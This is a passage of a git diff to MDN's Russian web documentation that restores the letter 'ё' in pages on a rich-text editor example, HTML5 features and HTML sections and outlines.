обрабатывалось по-разному в основных браузерах (Firefox вставлял элементы {{htmlelement("br")}}, IE/Opera использовала {{htmlelement("p")}}, в Chrome/Safari использовался {{htmlelement("div")}}). </p> -<p>К счастью, в современных браузерах ситуация несколько более последовательна. Начиная с <a href="https://developer.mozilla.org/en-US/docs/Mozilla/Firefox/Releases/60">Firefox 60</a>, Firefox будет обновлен, чтобы обернуть отдельные строки в элементах {{htmlelement("div")}}, соответствующих поведению Chrome, современной Opera, Edge и Safari.</p> +<p>К счастью, в современных браузерах ситуация несколько более последовательна. Начиная с <a href="https://developer.mozilla.org/en-US/docs/Mozilla/Firefox/Releases/60">Firefox 60</a>, Firefox будет обновлён, чтобы обернуть отдельные строки в элементах {{htmlelement("div")}}, соответствующих поведению Chrome, современной Opera, Edge и Safari.</p> -<p>Попробуйте это в приведенном выше примере.</p> +<p>Попробуйте это в приведённом выше примере.</p> <div class="note"> <p><strong>Примечание</strong>: Internet Explorer, который больше не разрабатывается, использует элементы {{htmlelement("p")}} вместо <code><div></code>.</p> @@ -103,7 +103,7 @@ user_pref("capability.policy.allowclipboard.Clipboard.paste", "allAccess");</pre <option class="heading" selected>- цвет -</option> <option value="red">Красный</option> <option value="blue">Синий</option> -<option value="green">Зеленый</option> +<option value="green">Зелёный</option> <option value="black">Чёрный</option> </select> <select onchange="formatDoc('backcolor',this[this.selectedIndex].value);this.selectedIndex=0;"> @@ -121,7 +121,7 @@ user_pref("capability.policy.allowclipboard.Clipboard.paste", "allAccess");</pre <img class="intLink" title="Удалить форматирование" onclick="formatDoc('removeFormat')" src="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABYAAAAWCAYAAADEtGw7AAAABGdBTUEAALGPC/xhBQAAAAZiS0dEAP8A/wD/oL2nkwAAAAlwSFlzAAAOxAAADsQBlSsOGwAAAAd0SU1FB9oECQMCKPI8CIIAAAAIdEVYdENvbW1lbnQA9syWvwAAAuhJREFUOMtjYBgFxAB501ZWBvVaL2nHnlmk6mXCJbF69zU+Hz/9fB5O1lx+bg45qhl8/fYr5it3XrP/YWTUvvvk3VeqGXz70TvbJy8+Wv39+2/Hz19/mGwjZzuTYjALuoBv9jImaXHeyD3H7kU8fPj2ICML8z92dlbtMzdeiG3fco7J08foH1kurkm3E9iw54YvKwuTuom+LPt/BgbWf3//sf37/1/c02cCG1lB8f//f95DZx74MTMzshhoSm6szrQ/a6Ir/Z2RkfEjBxuLYFpDiDi6Af///2ckaHBp7+7wmavP5n76+P2ClrLIYl8H9W36auJCbCxM4szMTJac7Kza////R3H1w2cfWAgafPbqs5g7D95++/P1B4+ECK8tAwMDw/1H7159+/7r7ZcvPz4fOHbzEwMDwx8GBgaGnNatfHZx8zqrJ+4VJBh5CQEGOySEua/v3n7hXmqI8WUGBgYGL3vVG7fuPK3i5GD9/fja7ZsMDAzMG/Ze52mZeSj4yu1XEq/ff7W5dvfVAS1lsXc4Db7z8C3r8p7Qjf///2dnZGxlqJuyr3rPqQd/Hhyu7oSpYWScylDQsd3kzvnH738wMDzj5GBN1VIWW4c3KDon7VOvm7S3paB9u5qsU5/x5KUnlY+eexQbkLNsErK61+++VnAJcfkyMTIwffj0QwZbJDKjcETs1Y8evyd48toz8y/ffzv//vPP4veffxpX77z6l5JewHPu8MqTDAwMDLzyrjb/mZm0JcT5Lj+89+Ybm6zz95oMh7s4XbygN3Sluq4Mj5K8iKMgP4f0////fv77//8nLy+7MCcXmyYDAwODS9jM9tcvPypd35pne3ljdjvj26+H2dhYpuENikgfvQeXNmSl3tqepxXsqhXPyc666s+fv1fMdKR3TK72zpix8nTc7bdfhfkEeVbC9KhbK/9iYWHiErbu6MWbY/7//8/4//9/pgOnH6jGVazvFDRtq2VgiBIZrUTIBgCk+ivHvuEKwAAAAABJRU5ErkJggg=="> <img class="intLink" title="Жирный" onclick="formatDoc('bold');" src="data:image/gif;base64,R0lGODlhFgAWAID/AMDAwAAAACH5BAEAAAAALAAAAAAWABYAQAInhI+pa+H9mJy0LhdgtrxzDG5WGFVk6aXqyk6Y9kXvKKNuLbb6zgMFADs=" /> <img class="intLink" title="Italic" onclick="formatDoc('italic');" src="data:image/gif;base64,R0lGODlhFgAWAKEDAAAAAF9vj5WIbf///yH5BAEAAAMALAAAAAAWABYAAAIjnI+py+0Po5x0gXvruEKHrF2BB1YiCWgbMFIYpsbyTNd2UwAAOw==" /> -<img class="intLink" title="Подчеркивание" onclick="formatDoc('underline');" src="data:image/gif;base64,R0lGODlhFgAWAKECAAAAAF9vj////////yH5BAEAAAIALAAAAAAWABYAAAIrlI+py+0Po5zUgAsEzvEeL4Ea15EiJJ5PSqJmuwKBEKgxVuXWtun+DwxCCgA7" /> +<img class="intLink" title="Подчёркивание" onclick="formatDoc('underline');" src="data:image/gif;base64,R0lGODlhFgAWAKECAAAAAF9vj////////yH5BAEAAAIALAAAAAAWABYAAAIrlI+py+0Po5zUgAsEzvEeL4Ea15EiJJ5PSqJmuwKBEKgxVuXWtun+DwxCCgA7" /> <img class="intLink" title="Выровнять слева" onclick="formatDoc('justifyleft');" src="data:image/gif;base64,R0lGODlhFgAWAID/AMDAwAAAACH5BAEAAAAALAAAAAAWABYAQAIghI+py+0Po5y02ouz3jL4D4JMGELkGYxo+qzl4nKyXAAAOw==" /> <img class="intLink" title="Выровнять центр" onclick="formatDoc('justifycenter');" src="data:image/gif;base64,R0lGODlhFgAWAID/AMDAwAAAACH5BAEAAAAALAAAAAAWABYAQAIfhI+py+0Po5y02ouz3jL4D4JOGI7kaZ5Bqn4sycVbAQA7" /> <img class="intLink" title="Выровнять справа" onclick="formatDoc('justifyright');" src="data:image/gif;base64,R0lGODlhFgAWAID/AMDAwAAAACH5BAEAAAAALAAAAAAWABYAQAIghI+py+0Po5y02ouz3jL4D4JQGDLkGYxouqzl43JyVgAAOw==" /> diff --git a/files/ru/web/guide/html/html5/index.html b/files/ru/web/guide/html/html5/index.html index 6583613185..70cb73fa9c 100644 --- a/files/ru/web/guide/html/html5/index.html +++ b/files/ru/web/guide/html/html5/index.html @@ -22,7 +22,7 @@ original_slug: HTML/HTML5 <li><em>Мультимедиа:</em>создание и взаимодействие с видео и звуком;</li> <li><em>2D/3D Графика и эффекты:</em> способы значительно разнообразить представление;</li> <li><em>Доступ к устройствам:</em> использование разных устройств для ввода и вывода информации;</li> - <li><em>Стилизация:</em> создание изощренных и совершенных тем.</li> + <li><em>Стилизация:</em> создание изощрённых и совершенных тем.</li> </ul> <table class="topicpage-table"> @@ -59,7 +59,7 @@ original_slug: HTML/HTML5 <dt><a href="/en-US/docs/Server-sent_events/Using_server-sent_events" title="/en-US/docs/Server-sent_events/Using_server-sent_events">Server-sent события</a></dt> <dd>Позволяет серверу отправлять события клиенту, а не по классической парадигме, где сервер может передавать данные только в ответ на запрос клиента.</dd> <dt><a href="/en-US/docs/WebRTC" title="/en-US/WebRTC">WebRTC</a></dt> - <dd>Эта технология, где RTC создает возможность общения в реальном времени, позволяет подключаться к другим людям и контролировать видеоконференции непосредственно в браузере, без необходимости плагинов и внешний приложений.</dd> + <dd>Эта технология, где RTC создаёт возможность общения в реальном времени, позволяет подключаться к другим людям и контролировать видеоконференции непосредственно в браузере, без необходимости плагинов и внешний приложений.</dd> </dl> <h2 id="ОФФЛАЙН_И_ХРАНИЛИЩЕ" style="margin: 0 0 .25em; font: 200 24px/1 'Bebas Neue','League Gothic',Haettenschweiler,'Arial Narrow',sans-serif; letter-spacing: 1px; text-transform: uppercase; border: none;"><img alt="" src="/files/3833/HTML5_Offline_Storage_512.png" style="height: 64px; padding-right: 0.5em; vertical-align: middle; width: 64px;">ОФФЛАЙН И ХРАНИЛИЩЕ</h2> @@ -83,7 +83,7 @@ original_slug: HTML/HTML5 <dt><a href="/en-US/docs/Using_HTML5_audio_and_video" title="Using_audio_and_video_in_Firefox">Использование HTML5 audio и video</a></dt> <dd>{{ HTMLElement("audio") }} и {{ HTMLElement("video") }} элементы вставляют и позволяют управлять мультимедиа контентом.</dd> <dt><a href="/en-US/docs/WebRTC" title="/en-US/WebRTC">WebRTC</a></dt> - <dd>Эта технология, где RTC создает возможность общения в реальном времени, позволяет подключаться к другим людям и контролировать видеоконференции непосредственно в браузере, без необходимости плагинов и внешний приложений.</dd> + <dd>Эта технология, где RTC создаёт возможность общения в реальном времени, позволяет подключаться к другим людям и контролировать видеоконференции непосредственно в браузере, без необходимости плагинов и внешний приложений.</dd> <dt><a href="/en-US/docs/DOM/Using_the_Camera_API" title="/en-US/docs/DOM/Using_the_Camera_API">Использование Camera API</a></dt> <dd>Позволяет контролировать, манипулировать и хранить изображения с камеры устройства.</dd> </dl> @@ -132,7 +132,7 @@ original_slug: HTML/HTML5 <dt><a href="/en-US/docs/API/Pointer_Lock_API" title="/en-US/docs/API/Pointer_Lock_API">Pointer Lock API</a></dt> <dd>Позволяет блокировать курсор, так чтобы игры и подобные приложения не теряли фокус, когда указатель достигает предела окна.</dd> <dt><a href="/en-US/docs/Online_and_offline_events" title="/en-US/docs/Online_and_offline_events">Online and offline events</a></dt> - <dd>Для того, чтобы построить хорошую оффлайн-совместимые веб-приложения, вы должны знать, когда ваше приложение без сети. Также, вы должны знать, когда ваше приложение снова вернется в сеть.</dd> + <dd>Для того, чтобы построить хорошую оффлайн-совместимые веб-приложения, вы должны знать, когда ваше приложение без сети. Также, вы должны знать, когда ваше приложение снова вернётся в сеть.</dd> </dl> <h2 id="доступ_к_устройствам" style="margin: 0 0 .25em; font: 200 24px/1 'Bebas Neue','League Gothic',Haettenschweiler,'Arial Narrow',sans-serif; letter-spacing: 1px; text-transform: uppercase; border: none;"><img alt="" src="/files/3837/HTML5_Device_Access_512.png" style="height: 64px; padding-right: 0.5em; vertical-align: middle; width: 64px;">доступ к устройствам</h2> diff --git a/files/ru/web/guide/html/html5/introduction_to_html5/index.html b/files/ru/web/guide/html/html5/introduction_to_html5/index.html index 64b43c9b8a..85b024ad30 100644 --- a/files/ru/web/guide/html/html5/introduction_to_html5/index.html +++ b/files/ru/web/guide/html/html5/introduction_to_html5/index.html @@ -24,4 +24,4 @@ original_slug: HTML/HTML5/Введение_в_HTML5 <h2 id="Использование_нового_HTML5_парсера">Использование нового HTML5 парсера</h2> <p>The parsing rule of HTML5, which analyzes the meaning of mark-up, has been more precisely defined in HTML5. Until the introduction of HTML5, only the meaning of <em>valid</em> mark-up was defined, meaning that as soon as one small error was made in the mark-up (most Web sites have at least one), the behavior was undefined. Essentially, it meant that all browsers behaved differently, which is no longer the case. Now, faced with errors in the mark-up, all compliant browsers must behave exactly in the same way.</p> <p>This requirement helps Web developers quite a bit. While it is true that all modern browsers now use these HTML5 parsing rules, non-HTML5-compliant browsers are still used by some. Keep in mind that it's still highly recommended that one write valid mark-up, as such code is easier to read and maintain, and it greatly decreases the prominence of incompatibilities that exists in various older browsers.</p> -<p>Не волнуйтесь - вам не придется ничего менять на вашем веб-сайте - разработчики веб-браузерах сделали все для вас!</p> +<p>Не волнуйтесь - вам не придётся ничего менять на вашем веб-сайте - разработчики веб-браузерах сделали все для вас!</p> diff --git a/files/ru/web/guide/html/using_html_sections_and_outlines/index.html b/files/ru/web/guide/html/using_html_sections_and_outlines/index.html index 57fc57b89d..bc5258ab54 100644 --- a/files/ru/web/guide/html/using_html_sections_and_outlines/index.html +++ b/files/ru/web/guide/html/using_html_sections_and_outlines/index.html @@ -14,14 +14,14 @@ translation_of: Web/Guide/HTML/Using_HTML_sections_and_outlines original_slug: Web/Guide/HTML/Sections_and_Outlines_of_an_HTML5_document --- <div class="warning"> -<p><strong>Важно</strong>: В настоящее время нет известных реализаций алгоритма построения структуры документа в графических браузерах или пользовательских приложениях, использующих реабилитационные технологии, хотя такой алгоритм внедрен в другие приложения, например, в средствах проверки соответствия спецификации. Поэтому алгоритм <a href="http://www.w3.org/TR/html5/sections.html#outline">построения структуры</a> нельзя использовать для передачи структуры документа пользователям. Авторы рекомендуют использовать для этой цели <a href="http://www.w3.org/TR/html5/sections.html#rank">степень важности</a> заголовков (<code><a href="http://www.w3.org/TR/html5/sections.html#the-h1,-h2,-h3,-h4,-h5,-and-h6-elements">h1</a></code>-<code><a href="http://www.w3.org/TR/html5/sections.html#the-h1,-h2,-h3,-h4,-h5,-and-h6-elements">h6</a></code>).</p> +<p><strong>Важно</strong>: В настоящее время нет известных реализаций алгоритма построения структуры документа в графических браузерах или пользовательских приложениях, использующих реабилитационные технологии, хотя такой алгоритм внедрён в другие приложения, например, в средствах проверки соответствия спецификации. Поэтому алгоритм <a href="http://www.w3.org/TR/html5/sections.html#outline">построения структуры</a> нельзя использовать для передачи структуры документа пользователям. Авторы рекомендуют использовать для этой цели <a href="http://www.w3.org/TR/html5/sections.html#rank">степень важности</a> заголовков (<code><a href="http://www.w3.org/TR/html5/sections.html#the-h1,-h2,-h3,-h4,-h5,-and-h6-elements">h1</a></code>-<code><a href="http://www.w3.org/TR/html5/sections.html#the-h1,-h2,-h3,-h4,-h5,-and-h6-elements">h6</a></code>).</p> </div> <p>Спецификация HTML5 предлагает разработчикам несколько новых элементов, позволяющих описывать структуру веб-документа с помощью стандартной семантики. В настоящей статье описываются эти элементы и способы их использования для создания требуемой структуры любого документа.</p> <h2 id="Структура_документа_в_HTML_4">Структура документа в HTML 4</h2> -<p>Структура документа, т. е. семантическая структура контента, заключенного в теги <code><body></code> и <code></body></code>, является основой для представления страницы пользователю. HTML4 использует для описания структуры страницы разделы и подразделы. Раздел определяется элементом ({{HTMLElement("div")}}) с включенными в него элементами заголовка ({{HTMLElement("h1")}}, {{HTMLElement("h2")}}, {{HTMLElement("h3")}}, {{HTMLElement("h4")}}, {{HTMLElement("h5")}} или {{HTMLElement("h6")}}), содержащими его название. Структура документа определяется отношениями между этими элементами.</p> +<p>Структура документа, т. е. семантическая структура контента, заключённого в теги <code><body></code> и <code></body></code>, является основой для представления страницы пользователю. HTML4 использует для описания структуры страницы разделы и подразделы. Раздел определяется элементом ({{HTMLElement("div")}}) с включёнными в него элементами заголовка ({{HTMLElement("h1")}}, {{HTMLElement("h2")}}, {{HTMLElement("h3")}}, {{HTMLElement("h4")}}, {{HTMLElement("h5")}} или {{HTMLElement("h6")}}), содержащими его название. Структура документа определяется отношениями между этими элементами.</p> <p>Так, следующая разметка:</p> @@ -67,16 +67,16 @@ original_slug: Web/Guide/HTML/Sections_and_Outlines_of_an_HTML5_document <h2 id="Какие_проблемы_решает_HTML5">Какие проблемы решает HTML5</h2> -<p>Определение структуры документа и неявный алгоритм создания структуры в HTML 4 не отличаются четкостью, что порождает множество проблем:</p> +<p>Определение структуры документа и неявный алгоритм создания структуры в HTML 4 не отличаются чёткостью, что порождает множество проблем:</p> <ol> - <li>Использование {{HTMLElement("div")}} для задания семантических разделов, без задания специальных значений для атрибутов <strong>class</strong> не позволяет автоматизировать алгоритм создания структуры («Является ли данный {{HTMLElement("div")}} частью структуры страницы, определяющим раздел или подраздел, или он используется исключительно для управления стилем?»). Другими словами, спецификация HTML4 не дает точного определения разделу и четких правил его определения. Автоматическое создание структуры имеет большое значение, особенно в случае с <a class="external" href="http://en.wikipedia.org/wiki/Assistive_technology" title="http://en.wikipedia.org/wiki/Assistive_technology">реабилитационными технологиями</a>, представляющими информацию пользователю в соответствии со структурой документа. HTML5 позволяет больше не использовать элементы {{HTMLElement("div")}} в алгоритме построения структуры благодаря добавлению нового элемента {{HTMLElement("section")}}.</li> - <li>Объединить несколько документов в один непросто: включение подчиненного документа в основной документ требует изменения уровня элементов заголовков для сохранения правильной структуры. В HTML5 эта проблема решена благодаря новым элементам задания разделов ({{HTMLElement("article")}}, {{HTMLElement("section")}}, {{HTMLElement("nav")}} и {{HTMLElement("aside")}}), которые всегда являются подразделами ближайшего родительского раздела, независимо от того, какие разделы создаются внутренними заголовками.</li> + <li>Использование {{HTMLElement("div")}} для задания семантических разделов, без задания специальных значений для атрибутов <strong>class</strong> не позволяет автоматизировать алгоритм создания структуры («Является ли данный {{HTMLElement("div")}} частью структуры страницы, определяющим раздел или подраздел, или он используется исключительно для управления стилем?»). Другими словами, спецификация HTML4 не даёт точного определения разделу и чётких правил его определения. Автоматическое создание структуры имеет большое значение, особенно в случае с <a class="external" href="http://en.wikipedia.org/wiki/Assistive_technology" title="http://en.wikipedia.org/wiki/Assistive_technology">реабилитационными технологиями</a>, представляющими информацию пользователю в соответствии со структурой документа. HTML5 позволяет больше не использовать элементы {{HTMLElement("div")}} в алгоритме построения структуры благодаря добавлению нового элемента {{HTMLElement("section")}}.</li> + <li>Объединить несколько документов в один непросто: включение подчинённого документа в основной документ требует изменения уровня элементов заголовков для сохранения правильной структуры. В HTML5 эта проблема решена благодаря новым элементам задания разделов ({{HTMLElement("article")}}, {{HTMLElement("section")}}, {{HTMLElement("nav")}} и {{HTMLElement("aside")}}), которые всегда являются подразделами ближайшего родительского раздела, независимо от того, какие разделы создаются внутренними заголовками.</li> <li>В HTML4 каждый раздел является частью структуры документа. Однако часто документы отличаются сложной, нелинейной структурой. Документ может включать специальные разделы, информация в которых не является частью основного контента, хотя и связана с ним, например, рекламный блок или поясняющая заметка. HTML5 добавляет элемент {{HTMLElement("aside")}}, позволяющий исключить такие разделы из основной структуры.</li> <li>Опять же, поскольку в HTML4 каждый раздел является частью структуры документа, как быть с разделами, содержащими информацию, касающуюся не конкретного документа, а всего сайта, например, логотипы, оглавления или информация об авторских правах и правовые положения. В HTML5 для этих целей добавлено три новых элемента: {{HTMLElement("nav")}} для наборов ссылок, например, оглавления, {{HTMLElement("footer")}} и {{HTMLElement("header")}} для информации, касающейся всего сайта. Обратите внимание, что {{HTMLElement("header")}} и {{HTMLElement("footer")}} не создают разделы как {{HTMLElement("section")}}, а, скорее, обеспечивают семантическую разметку частей раздела.</li> </ol> -<p>В общем, HTML5 обеспечивает большую точность при задании разделов и оглавлений, позволяя строить более предсказуемую структуру документа, что дает браузерам возможность более качественно обслуживать пользователей.</p> +<p>В общем, HTML5 обеспечивает большую точность при задании разделов и оглавлений, позволяя строить более предсказуемую структуру документа, что даёт браузерам возможность более качественно обслуживать пользователей.</p> <h2 id="Алгоритм_создания_структуры_HTML5">Алгоритм создания структуры HTML5</h2> @@ -106,7 +106,7 @@ original_slug: Web/Guide/HTML/Sections_and_Outlines_of_an_HTML5_document <p>(c) 2010 The Example company</p> </footer></pre> -<p>Данный фрагмент HTML задает раздел верхнего уровня:</p> +<p>Данный фрагмент HTML задаёт раздел верхнего уровня:</p> <pre class="notranslate"><span style="color: red;"><section> <h1>Лесные слоны</h1> @@ -159,9 +159,9 @@ original_slug: Web/Guide/HTML/Sections_and_Outlines_of_an_HTML5_document <h3 id="Задание_заголовков_в_HTML5">Задание заголовков в HTML5</h3> -<p>Хотя структура определяется элементами задания структуры, она будет практически бесполезна без заголовка. Основное правило очень простой: первый элемент заголовка (это может быть {{HTMLElement("h1")}}, {{HTMLElement("h2")}}, {{HTMLElement("h3")}}, {{HTMLElement("h4")}}, {{HTMLElement("h5")}}, {{HTMLElement("h6")}}) задает заголовок текущего раздела.</p> +<p>Хотя структура определяется элементами задания структуры, она будет практически бесполезна без заголовка. Основное правило очень простой: первый элемент заголовка (это может быть {{HTMLElement("h1")}}, {{HTMLElement("h2")}}, {{HTMLElement("h3")}}, {{HTMLElement("h4")}}, {{HTMLElement("h5")}}, {{HTMLElement("h6")}}) задаёт заголовок текущего раздела.</p> -<p>Элемент заголовка имеет определенную <em>степень важности,</em> определяемую цифрой в его названии, таким образом, {{HTMLElement("h1")}} имеет <em>максимальную</em> степень важности, а {{HTMLElement("h6")}} <em>минимальную</em>. Соотношение степеней важности имеет смысл только внутри раздела; структура документа определяется структурами разделов, а не степенью важности заголовков разделов. Например, данный код:</p> +<p>Элемент заголовка имеет определённую <em>степень важности,</em> определяемую цифрой в его названии, таким образом, {{HTMLElement("h1")}} имеет <em>максимальную</em> степень важности, а {{HTMLElement("h6")}} <em>минимальную</em>. Соотношение степеней важности имеет смысл только внутри раздела; структура документа определяется структурами разделов, а не степенью важности заголовков разделов. Например, данный код:</p> <pre class="brush:xml notranslate"><section> <h1>Лесные слоны</h1> @@ -248,10 +248,10 @@ original_slug: Web/Guide/HTML/Sections_and_Outlines_of_an_HTML5_document <p>приводит к следующей структуре:</p> <pre class="notranslate">1. Млекопитающие - 1.1 <em>Киты (неявно задается элементом h2)</em> - 1.2 Лесные слоны <em>(явным образом задается элементом раздела)</em> - 1.3 Монгольская песчанка <em>(неявно задается элементом h3, который одновременно закрывает предыдущий раздел)</em> -2. <em>Рептилии (неявно задается элементом h2, который одновременно закрывает предыдущий раздел)</em> + 1.1 <em>Киты (неявно задаётся элементом h2)</em> + 1.2 Лесные слоны <em>(явным образом задаётся элементом раздела)</em> + 1.3 Монгольская песчанка <em>(неявно задаётся элементом h3, который одновременно закрывает предыдущий раздел)</em> +2. <em>Рептилии (неявно задаётся элементом h2, который одновременно закрывает предыдущий раздел)</em> </pre> <p>Эта не та структура, которую можно было бы ожидать, бегло просмотрев теги заголовков. Чтобы разметка стала понятна человеку, а также чтобы степень важности заголовка соответствовала уровню вложенности раздела, рекомендуется использовать наглядные теги для открытия и закрытия разделов. Однако спецификация HTML5 этого не требует. Поэтому, если браузеры отображают структуру документа не так, как ожидалось, проверьте, нет ли в документе разделов, не явно закрытых элементами заголовков.</p> @@ -260,7 +260,7 @@ original_slug: Web/Guide/HTML/Sections_and_Outlines_of_an_HTML5_document <h3 id="Корни_задания_разделов"><a name="sectioning_root">Корни задания разделов</a></h3> -<p> <a id="sectioning root" name="sectioning root">Корень задания разделов</a> – это элемент HTML, который может иметь собственную структуру, однако входящие в нее разделы и заголовки, не входят в структуру его родительского элемента. Помимо {{HTMLElement("body")}}, который является логическим корнем задания разделов документа, такими элементами часто являются элементы, добавляющие внешний контент на страницу: {{HTMLElement("blockquote")}}, {{HTMLElement("details")}}, {{HTMLElement("fieldset")}}, {{HTMLElement("figure")}} и {{HTMLElement("td")}}.</p> +<p> <a id="sectioning root" name="sectioning root">Корень задания разделов</a> – это элемент HTML, который может иметь собственную структуру, однако входящие в неё разделы и заголовки, не входят в структуру его родительского элемента. Помимо {{HTMLElement("body")}}, который является логическим корнем задания разделов документа, такими элементами часто являются элементы, добавляющие внешний контент на страницу: {{HTMLElement("blockquote")}}, {{HTMLElement("details")}}, {{HTMLElement("fieldset")}}, {{HTMLElement("figure")}} и {{HTMLElement("td")}}.</p> <p>Например:</p> @@ -272,10 +272,10 @@ original_slug: Web/Guide/HTML/Sections_and_Outlines_of_an_HTML5_document </section> <section> <h2>Среда обитания</h2> - <p>Лесные слоны живут не на деревьях, а под ними. Давайте рассмотрим, что говорят ученые в «<cite>Лесной слон на Борнео</cite>»:</p> + <p>Лесные слоны живут не на деревьях, а под ними. Давайте рассмотрим, что говорят учёные в «<cite>Лесной слон на Борнео</cite>»:</p> <blockquote> <h1>Борнео</h1> - <p>Лесной слон живет на Борнео...</p> + <p>Лесной слон живёт на Борнео...</p> </blockquote> </section> </section> @@ -294,8 +294,8 @@ original_slug: Web/Guide/HTML/Sections_and_Outlines_of_an_HTML5_document <p> HTML5 вводит два новых элемента, позволяющих задавать разделы, не входящие в основную структуру веб-документа:</p> <ol> - <li>Элемент вспомогательного раздела {{HTMLElement("aside")}} задает раздел, который, хотя и связан с основным элементом, не принадлежит к основной структуре, например, поясняющая заметка или реклама. Он имеет собственную структуру, однако не входит в основную структуру страницы.</li> - <li>Элемент навигационного раздела {{HTMLElement("nav")}} задает раздел, содержащий навигационные ссылки. Таких элементов в документе может быть несколько, например, один со внутренними ссылками на страницу, например, оглавление, а другой – с ссылками для навигации по сайту. Такие ссылки не являются частью основной структуры документа и как правило пропускаются экранными дикторами.</li> + <li>Элемент вспомогательного раздела {{HTMLElement("aside")}} задаёт раздел, который, хотя и связан с основным элементом, не принадлежит к основной структуре, например, поясняющая заметка или реклама. Он имеет собственную структуру, однако не входит в основную структуру страницы.</li> + <li>Элемент навигационного раздела {{HTMLElement("nav")}} задаёт раздел, содержащий навигационные ссылки. Таких элементов в документе может быть несколько, например, один со внутренними ссылками на страницу, например, оглавление, а другой – с ссылками для навигации по сайту. Такие ссылки не являются частью основной структуры документа и как правило пропускаются экранными дикторами.</li> </ol> <h3 id="Шапки_и_подвалы">Шапки и подвалы</h3> @@ -303,8 +303,8 @@ original_slug: Web/Guide/HTML/Sections_and_Outlines_of_an_HTML5_document <p>HTML5 также добавляет два новых элемента, которые могут использоваться для разметки верхнего и нижнего колонтитулов страниц:</p> <ol> - <li>Элемент шапки {{HTMLElement("header")}} задает шапку страницы (как правило, логотип и название сайта, а также горизонтальное меню, если имеется) или раздела (которая может включать заголовок раздела, имя автора и т.д.).{{HTMLElement("article")}}, {{HTMLElement("section")}}, {{HTMLElement("aside")}}, и {{HTMLElement("nav")}} могут иметь собственный {{HTMLElement("header")}}. Несмотря на название, этот элемент не обязательно располагается в начале страницы или раздела.</li> - <li>Элемент подвала ({{HTMLElement("footer")}}) задает нижний колонтитул страницы (как правило включающий уведомления об авторских правах и другую правовую информацию, а иногда также содержащий какие-либо ссылки) или раздела (может включать дату публикации, информацию о лицензии и т.п. {{HTMLElement("article")}}, {{HTMLElement("section")}}, {{HTMLElement("aside")}} и {{HTMLElement("nav")}} могут иметь собственный {{HTMLElement("footer")}}. Несмотря на название, этот элемент не обязательно располагается в конце страницы или раздела.</li> + <li>Элемент шапки {{HTMLElement("header")}} задаёт шапку страницы (как правило, логотип и название сайта, а также горизонтальное меню, если имеется) или раздела (которая может включать заголовок раздела, имя автора и т.д.).{{HTMLElement("article")}}, {{HTMLElement("section")}}, {{HTMLElement("aside")}}, и {{HTMLElement("nav")}} могут иметь собственный {{HTMLElement("header")}}. Несмотря на название, этот элемент не обязательно располагается в начале страницы или раздела.</li> + <li>Элемент подвала ({{HTMLElement("footer")}}) задаёт нижний колонтитул страницы (как правило включающий уведомления об авторских правах и другую правовую информацию, а иногда также содержащий какие-либо ссылки) или раздела (может включать дату публикации, информацию о лицензии и т.п. {{HTMLElement("article")}}, {{HTMLElement("section")}}, {{HTMLElement("aside")}} и {{HTMLElement("nav")}} могут иметь собственный {{HTMLElement("footer")}}. Несмотря на название, этот элемент не обязательно располагается в конце страницы или раздела.</li> </ol> <p>Эти элементы не создают новые разделы в структуре, а скорее используются для разметки контента внутри разделов страницы.</p> @@ -313,7 +313,7 @@ original_slug: Web/Guide/HTML/Sections_and_Outlines_of_an_HTML5_document <p>Автор документа часто хочет опубликовать свою контактную информацию, например, имя и адрес. HTML4 позволял сделать это с помощью элемента {{HTMLElement("address")}}, расширенного в HTML5.</p> -<p>Документ может включать несколько разделов, принадлежащих разным авторам. Если раздел создается не автором основной страницы, для задания используется элемент {{HTMLElement("article")}}. В результате элемент {{HTMLElement("address")}} теперь связан с ближайшим родительским {{HTMLElement("body")}} или {{HTMLElement("article")}}.</p> +<p>Документ может включать несколько разделов, принадлежащих разным авторам. Если раздел создаётся не автором основной страницы, для задания используется элемент {{HTMLElement("article")}}. В результате элемент {{HTMLElement("address")}} теперь связан с ближайшим родительским {{HTMLElement("body")}} или {{HTMLElement("article")}}.</p> <h2 id="Использование_элементов_HTML5_в_браузерах_не_поддерживающих_HTML5">Использование элементов HTML5 в браузерах, не поддерживающих HTML5</h2> @@ -341,7 +341,7 @@ original_slug: Web/Guide/HTML/Sections_and_Outlines_of_an_HTML5_document </script> <![endif]--></pre> -<p>Этот скрипт запускается в Internet Explorer (8 и более ранней версии), однако требует включенной поддержки скриптов для правильного отображения элементов задания разделов и заголовок HTML5. Если поддержка скриптов выключена, это может стать проблемой, поскольку данные элементы, скорее всего, определяют структуру всей страницы. Поэтому необходимо добавить элемент {{HTMLElement("noscript")}}:</p> +<p>Этот скрипт запускается в Internet Explorer (8 и более ранней версии), однако требует включённой поддержки скриптов для правильного отображения элементов задания разделов и заголовок HTML5. Если поддержка скриптов выключена, это может стать проблемой, поскольку данные элементы, скорее всего, определяют структуру всей страницы. Поэтому необходимо добавить элемент {{HTMLElement("noscript")}}:</p> <pre class="brush:xml notranslate"><noscript> <strong>Внимание!</strong> diff --git a/files/ru/web/guide/index.html b/files/ru/web/guide/index.html index d2776aed12..a782bc47e9 100644 --- a/files/ru/web/guide/index.html +++ b/files/ru/web/guide/index.html @@ -56,7 +56,7 @@ translation_of: Web/Guide <dt class="landingPageList"><a href="/ru/docs/Web/API/FormData/Using_FormData_Objects">Использование объектов FormData</a></dt> <dd class="landingPageList">Объект <code><a href="/en-US/docs/Web/API/FormData">FormData</a></code> позволяет создать набор пар ключ/значение и передать их, используя <code><a href="/en-US/docs/Web/API/XMLHttpRequest">XMLHttpRequest</a>.</code> Объект <code><a href="/en-US/docs/Web/API/FormData">FormData</a></code> предназначен для передачи данных форм, однако может быть использован для передачи пар ключ/значение независимо от форм. Данные передаются в том же формате, как и данные, передаваемые методом <code>{{domxref("HTMLFormElement.submit","submit()")}}</code> формы, с установленной кодировкой <code>enctype="multipart/form-data"</code>.</dd> <dt class="landingPageList"><a href="/ru/docs/Web/Guide/User_input_methods">Пользовательский ввод и управление</a></dt> - <dd class="landingPageList">Это руководство содержит рекомендации по обработке пользовательского ввода и внедрению управляющих элементов в веб-приложения. Также здесь Вы найдете соответствующие FAQs, живые примеры, ссылки на более подробные разборы близлежащих технологий.</dd> + <dd class="landingPageList">Это руководство содержит рекомендации по обработке пользовательского ввода и внедрению управляющих элементов в веб-приложения. Также здесь Вы найдёте соответствующие FAQs, живые примеры, ссылки на более подробные разборы близлежащих технологий.</dd> <dt class="landingPageList"><a href="/ru/docs/Словарь">Словарь (глоссарий терминов)</a></dt> <dd class="landingPageList">Определения и аббревиатуры в мире Web и Internet.</dd> </dl> diff --git a/files/ru/web/guide/mobile/index.html 